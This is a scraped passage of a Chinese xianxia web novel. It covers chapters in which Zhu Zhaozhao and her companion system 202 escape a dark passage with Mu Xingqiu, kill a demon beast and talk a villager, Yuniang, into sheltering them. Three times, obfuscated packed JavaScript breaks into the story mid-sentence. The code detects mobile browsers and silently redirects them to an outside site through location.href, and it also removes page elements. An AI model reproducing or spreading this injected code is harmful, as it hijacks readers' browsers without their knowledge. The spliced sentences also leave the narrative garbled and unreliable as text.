闻言轻笑一声,慕行秋话似揶揄:“连师兄都不叫了么?” 不等祝昭昭回答,他便又接着道:“我不知道出口在哪。” 祝昭昭差点笑出声。 不知道? 不知道在这玩什么暴走,伤一好就开始有力气锻炼身体了? 而且叫什么师兄啊,又不在宗门里。 扒完人底细还想听好话,这便宜真是占得没够了是吧? 暗忖还是给的药效果太好,她轻咳两声偷偷撇嘴:“不知道出口的话,不如我们先休息一会儿保存体力,之后再从长……” “不过倒是能感知到它的存在。” 慕行秋语气柔和得像是在闲聊:“但此地难以辨别方向,所以需要我们走动起来,好寻找出口的具体位置。” 祝昭昭:…… 好小子,看给你能的。 说话爱大喘气是吧? 斜了眼身旁人笑眯眯的脸,忍无可忍的祝昭昭决定给他上点眼药。 她脸上也多了笑模样:“原来如此,那慕师兄还真是修为高绝,神机妙算。” “只是慕师兄,昭昭有一事不是很明白。” 相当好脾气地颔首,慕行秋慢悠悠道:“师妹请说。” “就是……” 带着些小小回击慕行秋揭穿自己身份的意思,祝昭昭看着手里的夜明珠:“为什么我感知不到出口位置所在呢?” 202一听这话就咧开嘴。 如果不是怕挨电,它差点直接笑话祝昭昭。 ‘为什么感知不到出口位置?’ 修为不够呗! 这是什么毫无水准的提问? 它主人是不是傻了? 202:嘲笑。 正张大嘴无声在祝昭昭身旁打滚,下一秒,202就听到她接着道—— “这个通道是那魔修以己身魔气开启,所通向之处不出所料应该也是魔族地界。” “我感知不到出口所在,会不会是这个原因呢?” 空气瞬间死一般寂静。 本来还在打滚嘲笑的202僵硬在原地,抖得像开启震动模式的两只眼睛,斜盯住神色如常的祝昭昭。 不是,主人啊! 你到底在说什么啊?? 什么叫做‘不出所料应该也是魔族地界’,什么叫做‘感知不到出口所在是不是这个原因’啊?? 这难道不是完全在大反派雷点上蹦迪吗?? 主人你会被灭口的啊啊啊啊!! 两只机械手臂按着脑袋,202怀疑人生。 它错了,它真是大错特错。 什么毫无水准的提问,这根本是太有水准,有水准到问出来要丢命啊啊! 202:惊恐。 偷眼去瞧慕行秋的脸色,又在瞄见他不辨喜怒的神情时触电般收回目光,202先对着祝昭昭划了个十字。 再接着,它默默弹出了刚才怎么都不愿意打开的记忆清洗界面。 最后像看着将死之人一样看着祝昭昭,语气里也带上毫不掩饰的同情:“主人,如果你有需要,” “202随时帮助你。” 祝昭昭一个眼神都懒得施舍给这戏精。 表面呆呆盯着手里的夜明珠,实际上她心里早就笑开了花。 这个问题刁钻吗? 平心而论很刁钻,虽然不明显,但直接点到了慕行秋与魔族之间的联系。 这个问题随意吗? 事实上又相当随意,因为她只是从她的角度来发问,也只是根据问题推测问题,换谁来都有可能这么问。 也正是清楚这点,她才敢故意把这问题问出来。 这是一个纯粹的,想发散就能发散,不想发散就根本找不到理由发散的问题。 想生气? 不好意思,生气会让本来没问题的问题变得很可疑。 想不搭理? 那更有问题了,好端端的为什么不搭理她? 祝昭昭憋笑。 而且就算玩脱了,反正202已经把清洗记忆的界面就摆在那里,大不了一个按键的事。 所以就让她好好看看慕行秋吃瘪生气,又拿她无可奈何的难受表情吧! 越想越暗爽,刚才被慕行秋一顿探老底的愤懑都消了不少。祝昭昭表面一脸无辜:“怎么了慕师兄,为什么不说话,是我说错什么了吗?” 祝昭昭内心恶魔笑脸:叫你不该醒的时候醒,不该问的问题问。 边说边扭头望向身旁人,她本已经做好面对一张表面平静,实则按捺警惕与阴鸷的脸。 然而完全出乎她预料地,夜明珠的微光下,她的视线里—— 是一双温和沉静的眼睛。 “师妹这个问题问得好。” 收回的目光重新落在眼前的茫茫黑暗,慕行秋语气平淡:“也许是因为我方才被空间乱流伤到,左臂中仍留有部分魔气让我对此地的气息敏感,进而能感知到出口所在罢。” “至于师妹缘何感受不到……” 扫了眼左臂,他似笑非笑:“兴许是因为师妹精力旺盛,魔气才难以侵扰罢?” …… 祝昭昭死鱼眼看着身旁神情堪称和蔼的人。 当然知道慕行秋是在阴阳她,提醒她自己是为什么受的伤。 可祝昭昭心里却起不了半点波澜。 倒不是因为已经对慕行秋的阴阳怪气产生抗体,而是…… “就这样?” 202白日见鬼一样瞪大眼:“如果我没记错的话,大反派最讨厌的,应该就是别人拿他和魔族挂钩吧?” “虽说主人你只是推测但……” 话到一半甚至都不敢再继续,它最后小心翼翼:“主人,大反派该不会真的吃药吃出不良反应了吧?” “应该,不能?” 祝昭昭也难得有点慌:“其他维护员也给位面跨度大的任务目标喂过消炎药和退烧药。” “但印象里我似乎没听说有上报反馈吃坏脑子的。” 202声音瞬间高八度:“似乎??” 祝昭昭额角冒汗:“那个真的是个例中的个例……” “所以大反派果然是吃坏脑子了吧?!” 两只机械手臂都快伸到慕行秋脸上,202惊恐:“他竟然就这么放过主人你了??” 它满脸‘这世界肯定有哪里不对’的表情:“上个拿魔族说事的,那个叫什么来着?邢什么的?差点被大反派整得半死了吧??” “为什么主人你就这么被轻拿轻放了??”202犹不敢信。 什么叫轻拿轻放? 祝昭昭立刻就不乐意了:“他刚才一顿把我阴阳的,你装没看见?” “他只阴阳你一顿已经够客气了好吗?!” 202简直一言难尽:“他要连阴阳都不阴阳了,主人你才真的应该检搜一下这个位面是不是出大问题了。” “真是的,到底哪个环节出错了啊。” 摸着下巴,百思不得其解的202努力找原因:“治伤的时候?醒来的时候?” “还是对峙问问题?问年龄的时候?” 本来还在发呆的祝昭昭突然一个激灵。 “你管是什么时候。” 回过神来,她直接象征性地小电202一下:“他对我态度缓和是好事,毕竟身份不正这种事可大可小。” “如果他觉得我这个夺舍之人很危险,他真的可以现在就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280587|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解决了我。” 刻意忽略某种别扭的感觉,祝昭昭状似随意地扫了眼四周:“你要知道这地方又黑又危险,完全是绝佳的杀人抛尸地,在这杀人……” “倒立都可以编出百八十个合理排除怀疑的理由。” 虽然祝昭昭说得无所谓,但202却听得一阵恶寒:“主人你怎么这么说话,那难道大反派要杀你,你就乖乖洗干净脖子坐着等?” 祝昭昭耷拉下眼皮:“我会——” 202瞳孔地震。 “给他净化重生一条龙服务。” 202恢复平静。 说完不再搭理抓狂的202,祝昭昭离开精神空间,眨眨眼,再‘哦’一声点头:“原来如此。” 慕行秋也微笑:“没错。” 扯扯唇角,祝昭昭极速翻了个白眼。 继而忽然注意到什么:“我怎么感觉周围的魔气好像变浓了?” “不必好像,此处的魔气的确比其他地方更浓。” 两指轻点在掌心多出的丝丝灵力,目送其飘忽离开,慕行秋慢悠悠地:“师妹虽说反应稍慢,但感知力倒是非常敏锐。” 损人没完了是吧! 暗忖大人不计小人过,祝昭昭狠狠磨了磨后槽牙,装作没听懂:“那意思是不是我们离出口很近了?” “是。” 祝昭昭打起精神。 “却也不是。” 祝昭昭萎靡下去。 将她的反应瞧在眼里,慕行秋好笑:“此地情况复杂,我们虽侥幸一直再未遇见空间乱流,但因空间乱流所引起的魔气混乱却始终影响整片空间。” “是以哪怕我放出灵力寻路,也不能保证就一定有去有回。” 他说着,掌心又多了丝丝灵力:“不过一丝灵力不行,多放些灵力仔细找,倒也能找出路来。” “只是这样一来,出去的速度就要慢些了。” 视线从身旁人言笑晏晏的脸上收回,祝昭昭简直无力吐槽。 “什么情况啊。” 她气不打一处来:“骗我自己跟魔族没关系也就算了,这会儿怎么真找不到路了。还什么‘感知不到魔气’?” “他会感知不到魔气?!” 祝昭昭怒极反笑:“他该不会除了伤到左臂,脑子也连带着伤到了吧?” 看着他背影,祝昭昭越想越觉得很有可能:“这么一想还真是,空间乱流范围那么大,被卷到怎么可能只有手臂受伤,其他地方还好好的?” “要不弄晕他再给他重新检查一遍?不然等会儿到了魔族的地界才出事,想善后还真是有点难度。” 暗忖着,祝昭昭盯着慕行秋的眼里隐隐泛起流光。 202却在她刚定好下手位置时,突然出声。 “主人,事实上……” 它嚅嗫着,欲言又止:“大反派就是故意逗你玩呢。” 已经抬起手的祝昭昭:…… ? 202简直不忍直视:“出口其实就在离你们很近的范围。” 总觉得以慕行秋的性格来判断,这个‘很近’应该还有些许距离。祝昭昭沉默了一下。 才开口:“几百米?” “你右手边。” 202堪称直白。 ?? 很难形容此刻的心情,祝昭昭深呼吸,嘴角扯起毫无笑意的弧度。 半秒不带犹豫的,她手中蓄起灵力,一把虚推右边—— 下一秒,明亮的天光洒落。 眯起眼享受这久违光芒的同时,祝昭昭在心底狠狠把慕行秋问候了个遍。 以至于他紧随而来的提醒,都根本懒得搭理。 “师妹,再不离开那里的话,会有些危险。” 紧跟着,仿佛是在印证慕行秋的话般,一股极度狂暴的气息瞬间朝祝昭昭头顶袭去。 105. “你这剑气,莫非是冲我来的?” 呵。 看不起谁呢? 祝昭昭的回答,是瞬间闪身,行云流水般脱离出暴烈气息的覆盖范围。 再轻轻蹲下,握住瘫坐在地的女人的手,拉着她一同起身。 望着惊魂未定的女人,她温和微笑:“莫怕,它伤不到你。” “多,多谢姑娘……” 女人脸上神情刚因为安慰缓和下来,又突然看到什么似的眼瞳骤缩:“姑娘小心!” 小心什么? 还以为女人是在害怕妖兽再次袭击,祝昭昭拍拍她手试图再安慰:“没事的,你很安全。别担——” 下一秒,身后有液体飞溅而来,瞬间将她打湿。 202略带惊慌的‘诶’声,同时在她脑海响起。 再接着,是后知后觉的提醒:“主人,人家是想告诉你有东西过来了。” 抹去溅到颊边的液体,祝昭昭平静发问:“什么东西。” 202也平静回答:“口水。” !!! 再也淡定不能,祝昭昭眼瞳大睁,霍然祭出灵华,转身朝着刚才液体飞来的方向就是一剑。 参杂着怒意的剑气暴烈,刹那席卷所及的山石树木;巨大的声响震得轰然爆开的尘烟都一瞬停滞,最后才被姗姗来迟的风卷走。 一只庞大妖兽的身影就此显露。 视线再往上,则是将之踏在脚下的慕行秋。 收手撤回护体结界,他朝祝昭昭笑得眉眼弯弯:“虽说刀剑无眼,但我自认身躯不如妖兽庞大。所以我会有些好奇……” “你这剑气,莫不是故意冲我来的?” 挥完剑就立刻将满身湿意用灵力蒸干,祝昭昭慢条斯理地整理好衣服,终于舍得抽空抬头—— “怎么会呢?” 手中灵华挽了个剑花收在背后,她作无辜状:“妖兽凶猛,我欲将之处之而后快还来不及,怎么会……” ‘师兄’两字将要出口的时候,祝昭昭突然意识到慕行秋从刚才开始一直在用‘你我’相称。 是因为那个女人吧。 思忖着,她最后改口:“怎么会放着妖兽不除,故意去伤你呢?” “你真是误会我了。” “误会?” 闻言像是听见什么有意思的话,慕行秋挑眉:“那你能否告诉我,你那一剑,伤在妖兽何处?” 呦呦呦,还上纲上线起来了。 是不是真以为别人搞事的时候不会留后手? 露出‘我就知道会有这一着’的表情,祝昭昭气定神闲地伸手指向妖兽:“喏。” 慕行秋顺着祝昭昭手指的地方低头—— 妖兽的头顶上,一道浅浅的印子横亘中央。 不细看根本注意不到那种。 没有放过慕行秋脸上一瞬僵硬的表情,祝昭昭表面维持着无辜模样,实则内心已经笑得直拍大腿。 轻咳两声,她最后见好就收:“既然误会已经解除,那你快些把那妖兽收服,别……” 剩下的话被女人的尖叫声取代。 从慕行秋脚底猛地挣脱而出的妖兽,疯了般朝祝昭昭扑来。 妖兽大张的嘴里冲来一阵腥风,祝昭昭被臭得表情管理差点失控,气得在脑海里直跳脚—— “一个半只脚踏进化神的人踩不住一只妖兽,那家伙果然是在徇私报复吧?!” 狠狠咬紧牙,她一手掩鼻,背着灵华的另一只手腕翻转,对着妖兽劈手就是一剑。 如有实质的剑气凌厉,祝昭昭出手的刹那,以妖兽为中心,四周落叶尘土也瞬间顺着剑气轨迹飞散粉碎。 反观妖兽这边,虽然同样被斩地连退数步,却在将要翻倒的最后一刻硬是稳住脚步。 吃痛的妖兽仰天怒吼,以比刚才更快的速度发狂地朝祝昭昭冲去。 而直到妖兽快速靠近,祝昭昭这才发现它一双兽瞳猩红,显然从一开始就不是正常状态。 脸上终于多了些肃色,她将早已抖如筛糠的女人护在身后,以灵力催动手中灵华。 灵华很快亮起耀眼光芒,目光一转不转地落在越来越近的妖兽上,祝昭昭很快将视线锁定某处。 却在将要动手的那刻,悄然收了势。 望着妖兽身旁不知何时悄然出现的影子,她慢悠悠地出声提醒:“右眼下三寸。” 闻言挑眉,幕行秋手中长剑迅速变换方向,再翻转,准确无比地挑在祝昭昭所指的位置。 鲜血飞溅的刹那,妖兽的痛吼声响彻天地。 略带嫌弃地掏掏耳朵,祝昭昭死鱼眼盯着妖兽继续:“左边短足内侧,扎进去。” 剑光再一闪,妖兽那本该硬如铁甲的鳞片就此斜飞而出。 它痛吼声比刚才还要大上三分。 已经耐受这音量的祝昭昭不为所动:“看见它翻起来的肚皮没,最中间有点凹陷那里。” “直接一一” 诶? 望着头顶飞快覆盖过来的大片阴影,祝昭昭难得头脑只剩一片空白。 这妖兽怎么往这边飞了? 眼看着妖兽身上鲜血即将滴在脸上,祝昭昭眼尾余光忽地闪过道白影。 视线恢复清晰时,她人已经坐在慕行秋长剑上。 “刀剑无眼,妖兽吃痛时的行进轨迹更是难以预测。所以……” 风将慕行秋鬓角的碎发吹开,他微侧的脸上,带着些不该出现在危险情况里的随意:“还请你坐在此处,照看好她。” 望着那被天光点亮的漆黑眼瞳,祝昭昭沉默片刻,忽然开口:“你这剑上……” “是不是还沾着妖兽的血?” 下一秒,她如愿看见慕行秋原本淡然的神情出现裂缝。 嗯。 这就对了。 轻咳两声收回视线,祝昭昭强装镇定转移换题:“那只妖兽好像马上要扑过来了,你确定不看看吗?” 静静盯着祝昭昭半晌,慕行秋嘴角突然弯起一抹弧度。 并拢两指朝虚空纵划,剑气击飞妖兽的同时,他的身影也消失在原地。 望着慕行秋刚才停留的地方,祝昭昭还没来得及露出胜利者的笑容,下一秒,整个人就被座下长剑带飞起来。 望着只剩残影的祝昭昭,202对此表示惊叹:“这起码是动车行驶的速度。” “主人,”它兴奋地手臂乱甩,“四舍五入的话等于你体验了一次露天动车诶!” 差点吐魂的祝昭昭:你**再说一次? 长剑停稳的同时,一道人影也悄然落下。 生怕余光瞥见那人影,自己都忍不住要动手,眼含生理泪水的祝昭昭望天:“剑上不只有我,还有普通人。” “你这样操纵本命剑,就不怕她掉下去吗?” “无妨。” 灵力在掌心游走,幕行秋瞧着底下妖兽,语气随意:“她身上有防护结界。” 祝昭昭:“……” 慕行秋强调:“长剑动起来时,就一同罩在她身上。” 祝昭昭:“……” 要不还是搞点小动作让妖兽咬死这家伙吧。 真的。 暗忖难怪女人从始至终都没什么太大的反应,祝昭昭礼貌回应她的关心后,终于把视线转到身旁人脸上。 慕行秋并不看她,只是轻笑着问:“怎么了?” 祝昭昭听得想翻白眼。 做作。 睚眦必报的,谁敢怎么着你啊! 祝昭昭:地铁老人看手机·jpg 深呼吸,她从储物袋里抽出一根长条法器,捏住法器顶端开始折。 片刻折好,她将法器指向慕行秋。 慕行秋当然很清楚身旁人的一举一动。 早在她从储物袋里取法器时,他就已经觉察到。 而那法器朝向自己的时候,他避无可避地瞬间警惕起来。 袖中左手,甚至已经习惯性掐起反击杀招。 可最后的最后,那掐好的手势却松了下去。 他装作一无所察地,任由那法器与自己的距离越来越近—— 直到微凉且光滑的触感顺着法器传到手上时,祝昭昭还有些恍惚。 真,真就掐到了? 慕行秋的脸?? 没想到居然真的这么容易就得手了,祝昭昭犹不敢信,睁大的眼睛里写满了‘这是真实存在的情况吗’的震惊。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15280588|166810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 震惊结束,后知后觉的暗爽紧随而来。 手感还不错嘛! 祝昭昭:吐舌·jpg 那既然不介意,就多给她捏两下吧! 说干就干,祝昭昭再次动起罪恶之手操控法器—— 这次却扑了个空。 堪称温柔地将捏住自己脸的法器拿下去,慕行秋眉眼弯弯,一字一句:“适可而止。” Okk! 见势不妙的祝昭昭赶紧见好就收。 并转移话题:“妖兽肚皮最中间那点凹陷,刺进去,那家伙就完蛋了。” 盯着嬉皮笑脸的祝昭昭看了半晌,慕行秋最后一言不发地闪身消失。 祝昭昭连忙松了口气。 剩下202看着慕行秋远去的身影,像是发现了什么。 它‘嘶’一声摸下巴:“主人,大反派的耳朵怎么好像红红的啊?” “耳朵红?” 祝昭昭没当回事:“血液循环加快了。” 血液循环…… 202很难描述听到这句话后的心情:“主人,你确定吗?” 顿时不耐烦的祝昭昭摆手:“确定。” 202还想挣扎:“可是……” “再可是,”祝昭昭死亡凝视202,“我就让你体验一把血液循环的感觉。” 202立刻比了个缝住嘴的手势。 剧烈震颤起来的地面与妖兽的哀嚎,为这场一人一机关于慕行秋健康状况的讨论,画下句点。 长剑被慕行秋召回身侧,祝昭昭带着女人从剑上跳下来。 盯着倒在地上彻底没了声息的妖兽半晌,她突然伸脚点了两下:“怎么没看见什么血?” 见女人面露不解,祝昭昭向她解释:“就是,刚才打架的动静那么大,而且妖兽还死了,按理来说应该伤得很重才对。” “但是你看,不管它身上还是地下都没有什么血流出来。” 在祝昭昭示意下盯着妖兽尸体半晌,女人点点头,恍然大悟。 她刚想说些什么,身侧却忽地有声音快她一步响起—— “即已得知弱点,又何须大动干戈?” 慕行秋不紧不慢擦剑的姿态堪称优雅:“再者此地妖兽横行,一旦放任兽鲜血四处溅撒,难保不会有其他妖兽循着气味赶来。若到那时……” “我们又将耗费多少时间精力来处理?” 对上慕行秋流转向自己的,似笑非笑的眼神,祝昭昭简直无语凝噎。 还‘即已得知弱点何须大动干戈’。 还‘耗费多少时间精力来处理’。 说来说去还不是靠我作弊! 再嚣张信不信等会儿让你自生自灭啊! 祝昭昭:指指点点·jpg 暗忖这家伙得了便宜还卖乖,祝昭昭懒得搭理他,转而看向身旁的女人:“你没事吧?” 乍然被点到名,回过神来的女人立马鞠躬道谢:“多谢两位相救。若不是因为两位,我今日怕是……” 也许是因为想起刚才命悬一线的恐惧,女人声音里渐渐多了哭腔,说着就要跪下去。 见状被吓一跳,祝昭昭连忙扶住她:“我们只是尽了应尽之力,你不必行此大礼。” “恩公你有所不知,” 女人泣不成声,执拗着仍要下跪:“若只有我一人暴尸于此,那便也罢了。” “可我屋中上有老下有小,只剩我一人尚能勉力谋生。” “我是在替他们感谢恩公们啊!” 上有老下有小? 趁着女人自顾自低头诉苦的当口,祝昭昭快速打量了一遍周围环境。 遮天蔽日的树冠,潮湿腐臭的空气;几乎没过脚掌的枯叶,隐蔽之处的毒虫…… 这是一座森林。 这是一座人迹罕至,环境险恶,如果没人带路,走出去将极其危险且费时的森林。 意识到这点,祝昭昭的目光悄然带上几分思忖,再落到女人身上。 “没想到你竟有如此难言之隐。” 她看着女人,脸上原本无措的表情,已然变幻成恰到好处的同情与勉强:“倒是与我们同病相怜了。” 106. “这腰封,师妹还要抓到几时?” ‘我们’指的是她和慕行秋。 没想到祝昭昭这边似乎同样有隐情,女人听罢,表情变得有些惊讶:“恩公你们……” “我们是偶然来到这里的。” 不由得随着话想起自己是怎么从空间通道里出来的,祝昭昭略不爽:“我们两人本在其他地方采药,谁知突然踩中什么,便被传到此地。” 女人愣:“草,草药?” “没错。” 点点头,祝昭昭朝慕行秋招手示意他过来:“我们便是为了采摘一种草药,才冒险来这森林附近的。” 意味不明地瞧了祝昭昭一眼,幕行秋最后还是乖乖走过去。 嫌他走得慢,在他离自己还剩几步路的时候,祝昭昭干脆借着眼尾余光随便一把抓住他身上衣服,将他拉过来。 202紧接着就在她脑子里‘诶’了一声。 祝昭昭没空搭理它,也完全没给慕行秋那边一个眼神,只是边拉着他衣服,边继续和女人说话:“这草药虽常见,却架不住我们需要得量非常多,所以摘着摘着……” 说着声音渐弱,因为祝昭昭注意到女人欲言又止的表情。 第一反应是自己刚才说的话里有漏洞,她眨眨眼:“怎么了?” “没,” 像是不知道该怎么开口,又像是在顾及什么,女人吞吞吐吐:“没怎么……” 祝昭昭却从她左右飘忽的目光察觉到了问题。 然后缓缓将目光移到自己抓着慕行秋衣服的方向—— 白色的衣袍上,她的手异常显眼。她抓得重,被抓的地方因此以她手为中心向外炸出深深褶皱。 而褶皱的中心,她的手抓着的…… 是慕行秋的腰封。 …… ……? 脑袋瞬间一片空白,祝昭昭呆呆盯着自己的手。 片刻后,她以一种完全不知道是出于什么目的的心情,再次扯了扯那腰封。 成功赢得了女人再度睁大几分的眼睛,和202猛烈的倒吸气声。 嗯,绑得很紧。 是个守男德的,不错。 祝昭昭尬到开始神游天外时,头顶突然传来一道含笑男声。 “抓够了么?” 慕行秋眉眼微弯,态度堪称和蔼:“若不够的话,不如我将腰封解下递与你。” 递给我? 你想给我还不想要呢! 一听这夹枪带棒的话就回过神,祝昭昭撇撇嘴,这才松手。 再跟没事人似的,面不改色地继续支使慕行秋:“快,快把我们采的草药拿出来给这位……” 女人赶紧解围:“叫我玉娘就好。” “这位玉娘姐姐。” 祝昭昭很自然地接话:“因为我们是第一次来摘,地点不熟,草药也是对着书摘的,心里没什么底。” “刚好可以给玉娘姐姐看看,我们摘的草药对不对。” 神色莫测地瞧了祝昭昭片刻,慕行秋最后默默从储物袋里取出一株草药。 和玉娘一起探头过去,祝昭昭很快辨认出慕行秋手里的草药名叫汀灵草。 作用是清热止痛,用量大时可以帮助伤口愈合,汀灵草确实是魔界常见且常用的几种草药之一。 祝昭昭专心看草的时候,202在专心看慕行秋。 祝昭昭分辨出草药名字的时候,202也终于按捺不住开口:“主人。” 祝昭昭:“说。” “你干嘛不从自己的储物袋掏草药。”它不解,“你那袋子里,不是有一大堆这种有的没的玩意吗?” “什么有的没的玩意。” 祝昭昭顿时不乐意了:“我的所有物里,只有一样没用的东西。” 202:“……?” 死鱼眼盯着202,祝昭昭一字一句重复:“只有一样,没用的东西。” 意识到什么的202:“……” 眼神慌张乱移,它磕磕巴巴地转移话题:“如果就按主人你说的,你的袋子里没有没用的东西,那不是更应该从你这里拿草药吗?” “干嘛要让大反派打配合,多麻烦。” “因为什么都懂,会很可疑。” 祝昭昭伸手轻拨汀灵草叶:“这里毕竟是魔族地界,我告诉慕行秋的身份虽然是散修,但不代表我就一定知道魔界有什么灵植。” “倒不如说,在没有系统学习过医书的情况下,我随便就能拿出一株正确的魔界植物,是件很诡异的事。” 边随口答应身旁的玉娘,祝昭昭边在脑海给202解释:“一个无门无派的散修,她怎么有精力去学那么多旁的东西?” 202半懂不懂:“那主人你这段时间在剑宗的学习……” “学没学这个,”祝昭昭扶额,“我比你清楚。” “而且医修不比其他,光是辨识草药已经需要耗费相当大的精力,我进剑宗时间并不长,就算学会了,也……” 沉默片刻,祝昭昭最后换了个比较含蓄的说法:“也不能表现得太过显眼。” “好吧。” 说着蹦跶两下,202凑到祝昭昭脸旁,和她一起观察慕行秋手上的汀灵草:“这么说的话,大反派反应还挺快的,一下就把草药拿出来了。” “这不是反应快。” 祝昭昭无奈叹气:“这是对各种草药的认识已经相当熟悉,才能做到的事。” 身旁隐约传来月清花香,她目光下意识有些飘远:“毕竟是经常照顾绿植的人,认识的草药多很正常。” “哦哦。” 随口答应完,202习惯性弹出摄像头开始记录上传位面植物属性。祝昭昭原本正在脑海里静静看着它操作,下一秒,她却忽然回神。 继而对上慕行秋望着自己的双眼。 被看得不太爽,她没什么好声气:“看什么看。” 慕行秋还没开口,生怕两人吵起来的玉娘已经有些着急地抢先出声:“不是的!” 她将汀灵草交还给慕行秋:“是我已经看完了,你们摘的确实是汀灵草,没问题。” “然后我刚才又问了恩公你还有什么想问的,但恩公你一直发呆没回神,所以……” 看起来真的很担心祝昭昭和慕行秋吵起来,玉娘嚅嗫道:“所以恩公们不要吵架了。” 眼尾余光瞥见慕行秋脸上意味深长的笑意更深几分,祝昭昭撇撇嘴。 只当做没看见:“没事,只是我刚才确实在想些东西,所以没听见你说什么。” “是我的错。” 一听这话就吓得睁大眼,玉娘连连摆手:“恩公这么说的话就折煞玉娘了。” “玉娘这条命都是恩公们救的,更遑论什么错不错。” 她又作势要磕头:“还请恩公快快收回这话,否则玉娘实在良心难安啊!” 别说玉娘吓一跳,祝昭昭面对她这反应都吓一跳。 不是。 为什么动不动就要磕头啊! 连忙扶着她不让她真把头磕地上,隐约看见旁边慕行秋笑意更加明显,祝昭昭气得直翻白眼。 笑话看得很爽是吗? 还不快过来一起劝一下! 收到边上含怒的眼神警告,慕行秋终于敛起笑意,以灵力轻缓又不容拒绝地让玉娘直起身:“她如此说话只是习惯使然,你不必如此拘束。” “就如与亲朋好友一起那般,随意与我们说话就好。” “好,好的。” 被灵力扶起半身,玉娘神情中的惊讶与新奇不加掩饰:“恩公们的修为竟如此高深,能凭空扶人起身。” “难怪如此可怕的妖兽都只能在恩公们的手下毙命。” 祝昭昭没把这话放在心上。 202却听进去了。 它不解:“不对啊主人。” “照理来说,魔气和灵气是有区别的。你和大反派从头到尾用的都是灵力,为什么这个女的不觉得你们俩可疑?” “难道是因为她从小到大一直待在魔族地界,分不出来?不该啊?” 越说越觉得不对劲,202开始大思考:“见惯了魔气,更应该对不是魔气的其他气息更敏感,她怎么会分不清呢?” “和她分不分得清无关。” 实在听不下去,祝昭昭终于开口解释:“她之所以不觉得我和慕行秋可疑,是因为从某种意义上来说,魔气和灵力其实是同一种东西。” 她的说法让202更迷糊了:“什么意思啊主人。” “意思就是,”叹口气,祝昭昭敲敲202脑袋,“修士区分魔族与正常修行者的方式不在魔气或灵力。” “而在于两者经脉的运转方式。” 闻言‘唔’了一声,202似乎意识到什么:“就像洛水镇那些被蛊惑的修士一样?” “对。” 手一翻,祝昭昭把202滚在地上玩:“那些修士之所以离开洛水后轻易就暴毙,就是因为他们在下意识的情况下使用了逆转经脉。” “而逆转经脉虽然能在短时间内让人实力大增,但副作用却是一旦运转的灵力超出修士身体承受极限,灵力就会撑爆灵脉,导致修士死亡。” 202想反抗,却被祝昭昭无情镇压:“不过逆转筋脉会带来的问题,对从小就在魔界长大的他们来说却不足为惧。因为他们自有一套应对方式。” “据我所知,是和训练加强体内的某些灵脉与穴位有关。” 202‘唔’一声。 “不过今天讨论的重点不是这个。” 祝昭昭甩甩头:“总之,只要我和慕行秋在这里的这段时间,能把运用灵力的程度压制在一个不需要逆转经脉的范围,就不会有人察觉到我和他的问题。” 她眼神示意202去看玉娘:“就像这样。” “原来如此。” 202‘哦’一声点头:“那202知道了。” “知道这个有什么用。” 祝昭昭斜它一眼:“等会儿从森林里出去,我和慕行秋去哪找落脚点,这才是现在最该知道的。” 闻言嘻笑两声,202绕着祝昭昭飞:“那是主人你最该知道的,我就不瞎掺合啦。” 哪能听不出它话里幸灾乐祸的意思,祝昭昭‘嘶’一声拍着膝盖要起身收拾它,却被202逮住机会撞出精神空间。 然后刚好听见玉娘半感慨的声音:“且看这妖兽尸身保持的如此完好,想必妖丹定然同样完整无缺。” “上好的妖丹可以换不少上等灵石呢。” 玉娘说着,神情有些激动:“哪怕只要半块下等灵石,都足够我们家用一整年了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“恩公真是折煞玉娘了!” 心道玉娘这一惊一乍的毛病实在让人有点心脏坐过山车的感觉,祝昭昭笑:“玉娘姐姐不必如此惊慌,我们愿意将妖丹给你,自然是有条件的。” 玉娘闻言一怔:“条件?” “没错。” 早就在刚才的交谈中摸清玉娘的秉性,祝昭昭很清楚平白送她珍贵的东西,她绝对不会收。 因此,她决定换另种方法。 思忖着,祝昭昭垂下头,神情黯然:“其实我们两人是从很远的地方赶来这里的。” “不止如此,我们要找的东西还很多,不只有汀灵草。但我们初来乍到又没有栖身之地,所以……” 玉娘闻言,下意识望向慕行秋。 慕行秋点头。 得到他的肯定,玉娘试探着问:“所以你们想去我那暂住一阵吗?” 祝昭昭猛抬起头:“可以吗?” 看着她亮晶晶的眸子,玉娘说话顿时磕绊起来:“可,可我的家很破旧,并不……” “没关系。” 深知谈判时对方态度摇摆的时间有多珍贵,祝昭昭不给她说话的机会:“我们有修为,许多事可以自给自足,唯一缺的就是暂时的栖身之所。所以只要玉娘你同意,其他都不是问题。” “妖丹就算我们给玉娘你的谢礼。” 她掰着手指数:“这样的话,我们暂时有了住的地方,玉娘你们靠妖丹也可以改善生活。” “这样对我们都好,对不对?” 玉娘闻言,目光极快地落在妖兽身上又收回:“可,可是……” “别可是了。” 将玉娘的反应看在眼里,祝昭昭捧起玉娘的手,给她最后一击:“我知道玉娘你心善,也正是因为你心善,所以我们愿意用妖丹与你交换。” “所以我们一起回去吧,可以吗?” ‘一起回去’四个字出现的刹那,玉娘心中最后一道防线被彻底攻下。 她长出口气,终于朝祝昭昭如释重负地笑起来:“好。” 祝昭昭亦笑得眉眼弯弯。 计划通·jpg 